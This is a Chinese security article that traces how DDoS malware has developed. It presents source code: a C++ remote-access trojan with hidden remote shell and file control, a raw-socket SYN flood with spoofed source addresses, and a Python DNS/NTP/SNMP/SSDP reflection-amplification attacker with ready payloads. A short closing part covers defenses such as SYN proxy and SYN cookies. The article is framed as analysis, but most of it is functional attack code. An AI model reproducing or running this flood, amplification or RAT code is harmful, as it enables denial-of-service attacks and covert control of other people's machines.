DDoS恶意软件发展史

2016-04-11 392991人围观 ,发现 5 个不明物体 终端安全网络安全

* 原创作者:bt0sea

0×00、前言

本文主要和大家聊聊DDoS攻击软件的发展史,同时,从黑产业务需求角度分析形成原因,从宏观上透视anti-DDoS安全行业的安全解决方案,最后回归本质,从源代码角度分析攻击软件实现流程和核心算法,同时从设计角度给出DDoS防御解决方案技术趋势。

这里再补充一下,目前很多有关恶意软件的分析都是通过反编译黑客的样本文件获取相关信息的,这种方式,其实理解起来很费力,敢问现在的信息安全爱好者有几个能看懂汇编的?都在往高级语言发展,所以,我想有必要通过高级编程语言编写的恶意软件来理解RAT&DDoS。

0×01、行业趋势

回顾一下2015年真实的DDoS攻击案例,不难发现DDoS发展已经完全领先于解决方案的发展速度,就拿GitHub遭遇大流量DDoS攻击,通过JS劫持攻击(攻击源查询发现中国联通骨干网。所以认为是中国政府所为)在JavaScript脚本中嵌入了访问github.Com,那么每个访问百度的设备都会同时访问github。形成了DDoS攻击。

DDoS黑产也越来越专业化,成立网站兜售DDoS攻击服务,到百度上随便搜索DDoS攻击服务,就一大片搜索结果(黑产也做在百度上做排名了)。有的可能有专业的Team做开发,随时更新用户的DDoS需求。从植入广告收益、商业竞争敲诈勒索(游戏、电商行业等)。

DDoS安全防护手段各大互联网和传统安全厂商也趋之若鹜,互联网公司比较有代表性的有云盾、百度的安全宝。传统安全厂商绿盟黑洞、金盾等,还有一些国外的传统安全品牌redware。。。小流量其实买台设备就可以了。

最后,分析一下Prolexic最新的DDoS报告。2015年Q2、

基础架构攻击.png

从报告可以看出SYN和SSDP比例在增大。

衡量DDoS攻击的指标有以下几个:攻击手段(Layer7or  Layer 3&4)、攻击持续时间和平均攻击带宽。2015 年Q2最大的DDoS攻击已经超过240Gbps并且持续超过13个小时。

FreeBuf百科:SSDP

SSDP是一种应用层协议,是构成通用即插即用(UPnP)技术的核心协议之一。同时提供了在局部网络里面发现设备的机制。控制点(也就是接受服务的客户端)可以通过使用简单服务发现协议,根据自己的需要查询在自己所在的局部网络里面提供特定服务的设备。设备(也就是提供服务的服务器端)也可以通过使用简单服务发现协议,向自己所在的局部网络里面的控制点声明它的存在。

大家就知道本服务是干什么的了,家里的小米盒子使用dlna协议和电脑通讯,前提是要打开SSDP协议。报告中还着重提醒了一下Wordpress和它危险的插件,这些都是DDoS来源。

0×02、恶意软件发展史

根据多年的反病毒经验,我发现DDoS功能是RAT恶意软件发展过程当中附件的一个功能。

DDoS发展历史final.png

第一级段:WindowsRAT&DDoS恶意软件源代码分析。编程语言为C++,编程工VC6.0。

首先通过,泳道图描述一下客户端和服务器端各自功能对接流程。

软件流程图.png

相关功能模块描述:

(1)系统资产模块

针对于客户端:报告客户端资产情况,主要是了解CPU、内存等情况,当然也可以外加带宽情况,了解DDoS客户端状态,为DDoS攻击做准备。

针对服务器端:统计在线肉鸡情况。

(2)文件管理

针对文件操作消息进行处理。文件下载、执行、上删除等操作。由于下载下载执行和文件上传需要单独开辟socket单独建立连接线程执行,所以用单独功能模块执行。

(3)屏幕监控

主要是远程控制对方电脑,windows远程桌面或者PCAnywhere类似的功能。这里有一个核心技术只传输变化的屏幕界面。

(4)进程管理

主要是为了处理杀毒软件等安全系统的实现的功能。

(5)远程cmdshell

远程执行命令。DDoS所有命令都在这个模块实现。

(6)视频捕捉

捕捉用户的视频,能看到你在干啥。。。。

多说无益,上代码说明:

管理端代码:

(1)启动代码

应用程序进入GUI界面后,首先通过读取ini文件获取到需要监听的端口,比如说:你在家路由器上做NAT映射的一个端口,我的是极路由,可以在

NAT.png

那么,本地服务器监听的IP和PORT为:192.168.199.101:8081,这样客户端就可以通过NAT映射找到服务器了。。。

void CGSGSoftRCServerDlg::StartListen(int Port)
{
    m_ListenPort = Port;
    //启动监听线程
    hAcceptThread = ThreadTemplate::StartThread<CGSGSoftRCServerDlg, DWORD>(this, ThreadAccept);
    //启动在线检测线程
    hCheckThread = ThreadTemplate::StartThread<CGSGSoftRCServerDlg, DWORD>(this, ThreadCheck);
    if (hAcceptThread == NULL || hCheckThread == NULL)
    {
        StopListen();
        ListenError(2);
        return;
    }
}

(2)接收一个socket开辟一个线程处理:ThreadAccept()->AcceptSocket()

DWORD CGSGSoftRCServerDlg::ThreadAccept()
{
    SOCKET        ClientSocket = INVALID_SOCKET;
    sockaddr_in LocalAddr  = { 0 };
    sockaddr_in    ClientAddr = { 0 };
    int            addr_size = sizeof (sockaddr_in);
    WSADATA lpWSAData;
    WSAStartup(MAKEWORD(2, 2), &lpWSAData);
    closesocket(m_ListenSock);
    m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    LocalAddr.sin_family      = AF_INET;
    LocalAddr.sin_port        = htons(m_ListenPort);//监听的端口
    LocalAddr.sin_addr.s_addr = htonl (INADDR_ANY);
    if(bind(m_ListenSock, (LPSOCKADDR)&LocalAddr, addr_size) == SOCKET_ERROR)
    {
        closesocket(m_ListenSock);
        ListenError(1);
        return 0;
    }
    while (m_ListenSock != INVALID_SOCKET)
    {
        ClientSocket = accept(m_ListenSock, (LPSOCKADDR) &ClientAddr, &addr_size); // accept a socket
        if (ClientSocket == INVALID_SOCKET)
        {
            StopListen();
            ListenError(2);
            return 0;
        }
        else
        {
            ThreadTemplate::StartThread<CGSGSoftRCServerDlg, DWORD>(this, AcceptSocket,ClientSocket);
        }
    }
    return 0;
}

(3)解析上线指令 (AcceptSocket()

命令定义:

socket.png

命令对应的调用的消息函数,参看源代码。

DWORD CGSGSoftRCServerDlg::AcceptSocket(SOCKET socket)
{
    if(socket != INVALID_SOCKET)
    {   
        TurnonKeepAlive(socket, 150); //设置心跳
        //recv socket type
        MsgHead msgHead;
        char    chBuffer[256];
        //接收上线信息
        if(! RecvMsg(socket,chBuffer,&msgHead))
            return 0;
        //解析命令
        switch(msgHead.dwCmd)
        {
        case SOCKET_CONNECT://连接控制的socket
            {
                SysInfo m_SysInfo;
                memcpy(&m_SysInfo, chBuffer, sizeof(SysInfo));//被控端信息
                //加入上线主机列表框中
                CLockSection m_LockSection(&g_Variable.m_cOnlineLock);    
                sockaddr_in addr;
                int cb = sizeof(addr);
                getpeername(socket, (sockaddr*)&addr, &cb);
                CString OnlineIP,Address;
                OnlineIP.Format("%s:%u",inet_ntoa(addr.sin_addr),(DWORD)ntohs(addr.sin_port));//将网络序转换为本机序    
                Address = m_QQDat.IPtoAdd(OnlineIP); //通过QQway把连接IP转化成物理位置。
                int iCount =m_OnLineList.GetItemCount();
                m_OnLineList.InsertItem(iCount,"",m_SysInfo.bVideo);
                m_OnLineList.SetItemData(iCount,(DWORD)socket);//保存socket
                m_OnLineList.SetItemText(iCount,0,OnlineIP);
                m_OnLineList.SetItemText(iCount,1,m_SysInfo.cComputer);
                m_OnLineList.SetItemText(iCount,2,Address);
                m_OnLineList.SetItemText(iCount,3,m_SysInfo.cOS);
                m_OnLineList.SetItemText(iCount,4,m_SysInfo.cMemorySize);
                m_OnLineList.SetItemText(iCount,5,m_SysInfo.cVersion);
                m_OnLineList.SetItemText(iCount,6,"空闲");
                StatusTextOut(2,"当前在线主机 [%d]",m_OnLineList.GetItemCount());
            }
            break;
        case SOCKET_FILEMANAGE://文件管理的socket
            {
                LPSocketInput pInput = new SocketInput;
                pInput->sMainConnect = socket;
                PostMessage(WM_FILEDLGSHOW, (DWORD)pInput, 0);
            }
            break;
        case SOCKET_SCREEN://屏幕监控的socket
            {
                SOCKET sConnect = msgHead.dwExtend1;//被控端信息
                LPSocketInput pInput = new SocketInput;
                pInput->sMainConnect = socket;
                pInput->sHelpConnect = sConnect;
                PostMessage(WM_SCREENDLGSHOW, (DWORD)pInput, 0);
            }
            break;
        case SOCKET_PROCESS://进程管理的socket
            {
                LPSocketInput pInput = new SocketInput;
                pInput->sMainConnect = socket;
                PostMessage(WM_PROCESSDLGSHOW, (DWORD)pInput, 0);
            }
            break;
        case SOCKET_CMDSHELL://远程shell的socket
            {
                LPSocketInput pInput = new SocketInput;
                pInput->sMainConnect = socket;
                PostMessage(WM_SHELLDLGSHOW, (DWORD)pInput, 0);
            }
            break;
        case SOCKET_FILEDOWN://文件下载的socket
            {
                if(!m_TranDlg.IsWindowVisible())
                    m_TranDlg.ShowWindow(SW_SHOW);
                m_TranDlg.CenterWindow();
                m_TranDlg.BringWindowToTop();
                m_TranDlg.AddTranTask(socket, TRUE);
            }
            break;
        case SOCKET_FILEUP:  //文件上传的socket
            {
                if(!m_TranDlg.IsWindowVisible())
                    m_TranDlg.ShowWindow(SW_SHOW);
                m_TranDlg.CenterWindow();
                m_TranDlg.BringWindowToTop();
                m_TranDlg.AddTranTask(socket, FALSE);
            }
            break;
        case SOCKET_VIDEOCAP:  //视频捕捉的socket
            {
                LPSocketInput pInput = new SocketInput;
                pInput->sMainConnect = socket;
                PostMessage(WM_VIDEODLGSHOW, (DWORD)pInput, 0);
            }
            break;
        default://啥都不是,关掉你
            {
                shutdown(socket,0x02);
                closesocket(socket);
            }
            break;
        }
    }
    return 0;
}

(4)各个命令处理 配合客户端实现的代码(由于代码量太大,就拿文件管理模块举例说明)

file.png

 文件管理模块:

服务器端代码:

void CGSGSoftRCServerDlg::OnOnlineFilemanage() 
{
    // TODO: Add your command handler code here
    if(m_CurrSock != INVALID_SOCKET)
    {
        //发送开启文件管理命令
        MsgHead msgHead;
        msgHead.dwCmd = CMD_FILEMANAGE;
        msgHead.dwSize = 0;
        if(SendMsg(m_CurrSock,NULL,&msgHead))
        {
            //发送成功,输出信息
            StatusTextOut(0,"成功发送 [文件管理] 命令");
        }
        else
        {
            //发送失败,关闭socket
            shutdown(m_CurrSock,0x02);
            closesocket(m_CurrSock);
        }
    }
    else
        StatusTextOut(0,"请选择操作主机");
}

客户端代码,核心命令解析部分:

DWORD _stdcall ConnectThread(LPVOID lParam)
{
    。。。。。。
    
    if( !SendMsg(MainSocket, (char *)&m_SysInfo, &msgHead) )
    {
        closesocket(MainSocket);
        return 1;//send socket type error
    }
    while(1)
    {
        //接收命令
        if(! RecvMsg(MainSocket, (char *)chBuffer, &msgHead))
        {//掉线,错误
            shutdown(MainSocket,0x02);
            closesocket(MainSocket);
            break;
        }
        //解析命令
        switch(msgHead.dwCmd)
        {
        case CMD_FILEMANAGE:
            {
                CreateThread(NULL,NULL,FileManageThread,NULL,NULL,NULL);//开一个文件管理的线程
            }
            break;
       。。。。
       。。。。
        default:
            break;
        }
    }
    return 10;
}

客户端代码,文件管理部分:

//////////////////////////////////////////////////////////////////////////////////

//文件管理线程

DWORD _stdcall FileManageThread(LPVOID lParam)
{
    struct sockaddr_in LocalAddr;
    LocalAddr.sin_family=AF_INET;
    LocalAddr.sin_port=htons(_ttoi(g_Variable.m_Port));
    LocalAddr.sin_addr.S_un.S_addr=resolve((char *)(LPCSTR)g_Variable.m_IP);
    
    SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
    if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
    {
        closesocket(FileSocket);
        return 0;//connect error
    }
    //================================================================================
    MsgHead msgHead;
    char *chBuffer = new char[1536 * 1024]; //数据交换区 1.5MB
    //send socket type 
    msgHead.dwCmd = SOCKET_FILEMANAGE;
    msgHead.dwSize = 0;
    if(!SendMsg(FileSocket, chBuffer, &msgHead))
    {
        if(chBuffer != NULL)
            delete []chBuffer;
        closesocket(FileSocket);
        return 0;//send socket type error
    }
    while(1)
    {
        //接收命令
        if(!RecvMsg(FileSocket, chBuffer, &msgHead))
            break;
        //解析命令
        switch(msgHead.dwCmd)
        {
        case CMD_FILEDRIVER://获取驱动器
            {
                FileListDirver(chBuffer, &msgHead);
            }
            break;
        case CMD_FILEDIRECTORY://获取文件夹
            {
                FileListDirectory(chBuffer, &msgHead);
            }
            break;
        case CMD_FILEDELETE://删除
            {
                FileDelete(chBuffer, &msgHead);
            }
            break;
        case CMD_FILEEXEC://执行
            {
                FileExec(chBuffer, &msgHead);
            }
            break;
        case CMD_FILEPASTE://粘贴
            {
                FilePaste(chBuffer, &msgHead);
            }
            break;
        case CMD_FILERENAME://重命名
            {
                FileReName(chBuffer, &msgHead);
            }
            break;
        case CMD_FILEDOWNSTART://下载开始
            {
                FileOpt m_FileOpt;
                memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
                
                if(CreateThread(NULL,NULL,FileDownThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
                    msgHead.dwCmd  = CMD_SUCCEED;
                else
                    msgHead.dwCmd  = CMD_FAILED;
                msgHead.dwSize = 0;
            }
            break;
        case CMD_FILEUPSTART://上传开始
            {
                FileOpt m_FileOpt;
                memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
                
                if(CreateThread(NULL,NULL,FileUpThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
                    msgHead.dwCmd  = CMD_SUCCEED;
                else
                    msgHead.dwCmd  = CMD_FAILED;
                msgHead.dwSize = 0;
            }
            break;
        default:
            {
                msgHead.dwCmd = CMD_INVALID;
                msgHead.dwSize = 0;
            }
            break;
        }
        //发送数据
        if(!SendMsg(FileSocket, chBuffer, &msgHead))
            break;
    }
    if(chBuffer != NULL)
        delete[] chBuffer;
    closesocket(FileSocket);
    return 0;
}

通过上述代码可以了解传统RAT黑客工具怎么做文件管理的,(其实,就是服务器端和客户端处理好传递的消息命令)。那么第一代DDoS攻击攻击怎么集成到RAT工具中呢?

简单的DDoS功能是通过Cmdshell执行。代码如下。只要cmd窗口能执行的DDoS攻击命令,这个RAT工具都能执行。(什么死亡之ping等icmp洪水)。

客户端实现代码如下:

void DOSShell(char *pBuf, LPMsgHead lpMsgHead)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hRead=NULL,hWrite=NULL;
    TCHAR Cmdline[200]={0};     //命令行缓冲
    char ReadBuf[1024]={0};    //发送缓冲
    SECURITY_ATTRIBUTES sa;     //安全描述符
    DWORD dwLen=0,bytesRead=0;
    sa.nLength=sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor=NULL;
    sa.bInheritHandle=TRUE;
    //创建匿名管道,被瑞星杀
    if (!CreatePipe(&hRead,&hWrite,&sa,0))  
    {
        lpMsgHead->dwCmd  = CMD_SHELLERR;
        lpMsgHead->dwSize = 0;
        if(hRead!=NULL)
            CloseHandle(hRead);
        if(hWrite!=NULL)
            CloseHandle(hWrite);
        return;
    }
    si.cb=sizeof(STARTUPINFO);
    GetStartupInfo(&si);
    si.hStdError=hWrite;
    si.hStdOutput=hWrite;    //进程(cmd)的输出写入管道
    si.wShowWindow=SW_HIDE;
    si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    GetSystemDirectory(Cmdline,sizeof (Cmdline));   //获取系统目录
    strcat(Cmdline,"\\cmd.exe /c ");                //拼接cmd
    strncat(Cmdline,pBuf,lpMsgHead->dwSize);        //拼接一条完整的cmd命令
    
    //创建进程,也就是执行cmd命令
    if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
    {
        lpMsgHead->dwCmd  = CMD_SHELLERR;
        lpMsgHead->dwSize = 0;
        if(hRead!=NULL)
            CloseHandle(hRead);
        if(hWrite!=NULL)
            CloseHandle(hWrite);
        return;
    }
    CloseHandle(hWrite);//这句不可省
    //无限循环读取管道中的数据,直到管道中没有数据为止
    while (TRUE)
    {
        memset(ReadBuf, 0, 1024);
        if (ReadFile(hRead, ReadBuf, 1024, &bytesRead, NULL)==0)
            break;
        //拼接数据
        memcpy(pBuf+dwLen,ReadBuf,bytesRead);
        dwLen += bytesRead;
        Sleep(50);
    }
    lpMsgHead->dwCmd = 0;
    lpMsgHead->dwSize = dwLen;
    //释放句柄
    if (hRead!=NULL)
        CloseHandle(hRead);
    if (hWrite!=NULL)
        CloseHandle(hWrite);
}

第一阶段实现代码比较粗糙,但是已经实现RAT和简单的DDoS相关功能。。。。

第二阶段:通过IOCP异步socket处理,管理端可以连接更多的客户端, 那么通过分析IOCP通讯类可以更好的了解,恶意软件服务器端设计手段。同时,可以通过分析DDoS软件核心代码,了解DDoS客户端发展趋势。

(1)IOCP 代码解析,主要是通过socket异步处理。

//服务端口
#define SVRPORT 80
//缓冲区大小
#define BUFFER_SIZE 1024 * 4//1024 * 200
//接收数据
#define RECV_POSTED 0
//发送数据
#define SEND_POSTED 1
//单句柄数据
typedef struct _PER_HANDLE_DATA
{
    unsigned long IpAddr;
    SOCKET sClient;
}PER_HANDLE_DATA,*LPPER_HANDLE_DATA;
//IO操作数据
typedef struct _PER_IO_OPERATION_DATA
{
    //重叠结构
    OVERLAPPED OverLapped;
    //数据缓冲区
    WSABUF DataBuf;
    char Buf[BUFFER_SIZE];
    //操作类型表示发送、接收或关闭等
    bool OperType;
}PER_IO_OPERATION_DATA,*PPER_IO_OPERATION_DATA;
//回调处理数据函数原型
typedef void __stdcall ProcessRecvData(unsigned long sIP,
                                       SOCKET sClient,
                                       char * pData,
                                       unsigned long DataLength,
                                       void *pContext);
DWORD WINAPI ServerWorkerProc(LPVOID lParam);
DWORD WINAPI ListenProc(LPVOID lParam);
//#################完成端口socket###################
class CIocpModeSvr  
{
public:
    CIocpModeSvr();
    virtual ~CIocpModeSvr();
public:
    void *m_pContext;
    //初始化
    bool Init(ProcessRecvData* pProcessRecvData, void *pContext, unsigned long iSvrPort=SVRPORT);
    //反初始化
    void UnInit();
    /*  用于发送消息的函数组*/
public:
    bool SendMsg(SOCKET sClient,char * pData,unsigned long Length);
    bool SendMsgToAll(char * pData,unsigned long Length);
    bool DisConnectClient(SOCKET sClient);
    void DisConnectAll();
    void RemoveSocket(SOCKET sClient);
public:
    //获得本地Ip地址
    const char * GetLocalIpAdd(){ 
        if(IsStart)return HostIpAddr;
        else return NULL;
    }
    //获得服务器使用的端口号
    unsigned short GetSvrPort(){
        if(IsStart)return m_SvrPort;
        else return 0;
    }
protected:
    int InitNetWork(unsigned int SvrPort=SVRPORT,
                     char *pHostIpAddress=NULL);
    ProcessRecvData* m_pProcessRecvData;
private:
    //完成句柄
    HANDLE CompletionPort;
    //主机IP
    char  HostIpAddr[32];
    //客户信息列表
    DCLinkedList<PER_HANDLE_DATA> ClientList;    
    //客户信息临界保护量
    CRITICAL_SECTION cInfoSection;
    //服务是否已经启动
    bool IsStart;
    //侦听SOCKET
    SOCKET ListenSocket;
    //侦听线程句柄,用于反初始化时销毁侦听线程
    HANDLE ListenThreadHandle;
    //服务端口
    unsigned short m_SvrPort;
    friend DWORD WINAPI ServerWorkerProc(LPVOID lParam);
    friend DWORD WINAPI ListenProc(LPVOID lParam);
};

客户端解析消息函数。

LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam) 
{ 
	switch(message) 
	{ 
	case WM_SOCKET: 
		if(WSAGETSELECTERROR(lParam)) 
		{ 
			closesocket(wParam); 
			break;
		} 
		switch(WSAGETSELECTEVENT(lParam)) 
		{ 
			//读取输入
		case FD_READ:
			if (recv(sock_client,(char*)&fuckweb,sizeof(FUCKWEB),0)!=SOCKET_ERROR)
			{
				stopfuck=false;
				int a;
				switch(fuckweb.FuckType)
				{
				case 1://syn flood
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,SynFlood,NULL,0,NULL);
					}
					break;
				case 2://udp flood
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,UDP_flood,NULL,0,NULL);
					}
			     break;
                             。。。。。。
                             。。。。。。 
				default:
						break;
				}
            }
			break;
		case FD_CLOSE:
			//MessageBox(NULL,"FD_CLOSE",NULL,MB_OK);
			closesocket(wParam);
			break;
		}
		break;
	case WM_DESTROY:
		PostQuitMessage(0);
		WSACleanup(); 
		break;
	case WM_DEVICECHANGE://
		if(modify_data.IsUpan)
			OnDeviceChange(hWnd,wParam,lParam);
		break;
	default:
		return DefWindowProc(hWnd,message,wParam,lParam);
	}
	return 0;
}

客户端处理流程:

软件流程图2.png

具体SYN洪水代码如下:

unsigned long  CALLBACK SynFlood(LPVOID dParam)
{
    WSADATA               WSAData;
    WSAStartup(MAKEWORD(2,2) ,&WSAData);
    SOCKET             sendSocket; 
    SOCKADDR_IN        Sin; 
    IP_HEADER          ipHeader;
    TCP_HEADER         tcpHeader; 
    PSD_HEADER         psdHeader; 
    char               szSendBuf[1024] = ""; 
    if((sendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) 
    { 
        printf("Socket Setup Error...\n"); 
        return 0; 
    } 
    BOOL               flag=1; 
    if(setsockopt(sendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR) 
    { 
        printf("Setsockopt IP_HDRINCL Error...\n"); 
        return 0; 
    } 
    int timeout = 3000; 
    if(setsockopt(sendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) == SOCKET_ERROR) 
    { 
        printf("Setsockopt SO_SNDTIMEO Error...\n"); 
        return 0; 
    }
    Sin.sin_family = AF_INET; 
    Sin.sin_port=htons(fuckweb.FuckPort); 
    Sin.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); 
    char         src_ip[20] = {0};
    
    while(!stopfuck)
    {
        wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 ); 
            
        //填充IP首部 
        ipHeader.h_verlen = (4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 
        ipHeader.tos = 0; 
        ipHeader.total_len = htons(sizeof(ipHeader)+sizeof(tcpHeader)); 
        ipHeader.ident = 1; 
        ipHeader.frag_and_flags = 0x40; 
        ipHeader.ttl = 128; 
        ipHeader.proto = IPPROTO_TCP; 
        ipHeader.checksum = 0; 
        ipHeader.sourceIP = inet_addr(src_ip); 
        ipHeader.destIP = Sin.sin_addr.s_addr; 
        //填充TCP首部 
        tcpHeader.th_sport = htons(rand()%1025); //源端口号 
        tcpHeader.th_dport = htons( fuckweb.FuckPort ); 
        tcpHeader.th_seq = htonl( rand()%900000000 + 1 ); 
        tcpHeader.th_ack=rand()%3;
        if (rand()%2 == 0) tcpHeader.th_flag=0x02;//SYN
        else tcpHeader.th_flag=0x10;//ACK
        tcpHeader.th_lenres = (sizeof(tcpHeader)/4<<4|0); 
        tcpHeader.th_win = htons(512); 
        tcpHeader.th_sum = 0; 
        tcpHeader.th_urp = 0; 
        psdHeader.saddr = ipHeader.sourceIP; 
        psdHeader.daddr = ipHeader.destIP; 
        psdHeader.mbz = 0; 
        psdHeader.ptcl = IPPROTO_TCP; 
        psdHeader.tcpl = htons(sizeof(tcpHeader)); 
        //计算TCP校验和 
        memcpy( szSendBuf, &psdHeader, sizeof(psdHeader) ); 
        memcpy( szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader) ); 
        tcpHeader.th_sum = checksum( (USHORT *) szSendBuf, sizeof(psdHeader) + sizeof(tcpHeader) ); 
        //计算IP检验和 
        memcpy( szSendBuf, &ipHeader, sizeof(ipHeader) ); 
        memcpy( szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader) ); 
        memset( szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4 ); 
        ipHeader.checksum = checksum( (USHORT *) szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader) ); 
        memcpy( szSendBuf, &ipHeader, sizeof(ipHeader) ); 
        memcpy( szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader) ); 
        
        for(int a=0;a<100;a++)
        {
            sendto(sendSocket, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*)&Sin, sizeof(Sin)); 
            printf(".");
        }
        Sleep(40);
    }
    return 0;
}

第二阶段,DDoS攻击方法已经可以通过自定义TCP/IP底层数据包的方式发送给攻击者。一大进步。服务器端由于处理的客户端连接数有可能达到或者超越2000个。所以只能通过修改异步socket方式处理消息,IOCP完成端口类完整的封装了数据通讯的底层细节。上层只需要处理传输的socket足矣。

第三阶段:B/S管理架构,更多肉鸡从windows平台转换成Linux平台(Centos\redhat\debain\ubuntu),而且云服务器的占比非常大。各位的云主机的用户可要当心了。

客户端代码(编程语言:python):支持ntp/dns/ssdp/snmp 放大攻击。

PORT = {
    'dns': 53,
    'ntp': 123,
    'snmp': 161,
    'ssdp': 1900 }
PAYLOAD = {
    'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'
            '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'
            '\x00\x00\x00\x00\x00\x00'),
    'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
        '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
        '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
        '\x01\x02\x01\x05\x00'),
    'ntp':('\x17\x00\x02\x2a'+'\x00'*4),
    'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: x.x.x.x:1900\r\n'
        'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
}
amplification = {
    'dns': {},
    'ntp': {},
    'snmp': {},
    'ssdp': {} }    

具体实现函数。

class DDoS(object):
    def __init__(self, target, threads, domains, event):
        self.target = target
        self.threads = threads
        self.event = event
        self.domains = domains
    def stress(self):
        for i in range(self.threads):
            t = threading.Thread(target=self.__attack)
            t.start()
    def __send(self, sock, soldier, proto, payload):
        '''
            Send a Spoofed Packet
        '''
        udp = UDP(randint(1, 65535), PORT[proto], payload).pack(self.target, soldier)
        ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
        sock.sendto(ip+udp+payload, (soldier, PORT[proto]))
    def GetAmpSize(self, proto, soldier, domain=''):
        '''
            Get Amplification Size
        '''
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(2)
        data = ''
        if proto in ['ntp', 'ssdp']:
            packet = PAYLOAD[proto]
            sock.sendto(packet, (soldier, PORT[proto]))
            try:
                while True:
                    data+= sock.recvfrom(65535)[0]
            except socket.timeout:
                sock.close()
                return len(data), len(packet)
        if proto=='dns':
            packet = self.__GetDnsQuery(domain)
        else:
            packet = PAYLOAD[proto]
        try:
            sock.sendto(packet, (soldier, PORT[proto]))
            data, _ = sock.recvfrom(65535)
        except socket.timeout:
            data = ''
        finally:
            sock.close()
        return len(data), len(packet)
    def __GetQName(self, domain):
        '''
            QNAME A domain name represented as a sequence of labels 
            where each label consists of a length
            octet followed by that number of octets
        '''
        labels = domain.split('.')
        QName = ''
        for label in labels:
            if len(label):
                QName += struct.pack('B', len(label)) + label
        return QName
    def __GetDnsQuery(self, domain):
        id = struct.pack('H', randint(0, 65535))
        QName = self.__GetQName(domain)
        return PAYLOAD['dns'].format(id, QName)
    def __attack(self):
        global npackets
        global nbytes
        _files = files
        for proto in _files:    # Open Amplification files
            f = open(_files[proto][FILE_NAME], 'r')
            _files[proto].append(f)        # _files = {'proto':['file_name', file_handle]}
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        i = 0
        while self.event.isSet():
            for proto in _files:
                soldier = _files[proto][FILE_HANDLE].readline().strip()
                if soldier:
                    if proto=='dns':
                        if not amplification[proto].has_key(soldier):
                            amplification[proto][soldier] = {}
                        for domain in self.domains:
                            if not amplification[proto][soldier].has_key(domain):
                                size, _ = self.GetAmpSize(proto, soldier, domain)
                                if size==0:
                                    break
                                elif size<len(PAYLOAD[proto]):
                                    continue
                                else:
                                    amplification[proto][soldier][domain] = size
                            amp = self.__GetDnsQuery(domain)
                            self.__send(sock, soldier, proto, amp)
                            npackets += 1
                            i+=1
                            nbytes += amplification[proto][soldier][domain]
                    else:
                        if not amplification[proto].has_key(soldier):
                            size, _ = self.GetAmpSize(proto, soldier)
                            if size<len(PAYLOAD[proto]):
                                continue
                            else:
                                amplification[proto][soldier] = size
                        amp = PAYLOAD[proto]
                        npackets += 1
                        i+=1
                        nbytes += amplification[proto][soldier]
                        self.__send(sock, soldier, proto, amp)
                else:
                    _files[proto][FILE_HANDLE].seek(0)
        sock.close()
        for proto in _files:
            _files[proto][FILE_HANDLE].close()

通过上述代码分析,我们发现DDoS软件的专业化程度越来越高,导致很多专业的网络僵尸出现,Boer_Family、Remote-trojan.Nethief、Yoddos_Family、BillGates、 IMDDOS是最近比较活跃的僵尸网络,从工程和产品的角度上看,专业的僵尸网络不亚于一个牛逼的安全产品。还有在linux平台上可能还要更厉害的网络僵尸,例如:通过rootkit &bootkit 隐藏其网络通讯实施流量攻击。所以对安全人员的技术水平要求会更高,或者购买专业anti-DDoS工具防范。

0×03、DDoS防御解决方案

DDoS防御,先自扫门前雪吧,我想应该从两个方面入手,第一个方面,当然是防守,一般采用DDoS清洗设备。另外一个方面应该通过安装在客户端的Agent或者网络层防毒墙给你提供本管理范围的客户端是否被DDoS恶意软件感染,成为攻击别人的帮凶,当然还需要联动威胁情报。

Anti-DDoS硬件防护一体机原理:

(1)SYN Proxy:这种方法一般是定每秒通过指定对象(目标地址和端口、仅目标地址或仅源地址)的SYN片段数的阀值,当来自相同源地址或发往相同目标地址的SYN片段数达到这些阀值之一时,防火墙就开始截取连接请求和代理回复SYN/ACK片段,并将不完全的连接请求存储到连接队列中直到连接完成或请求超时。

(2)SYN Cookie:给每一个请求连接的IP地址分配一个Cookie,如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被丢弃

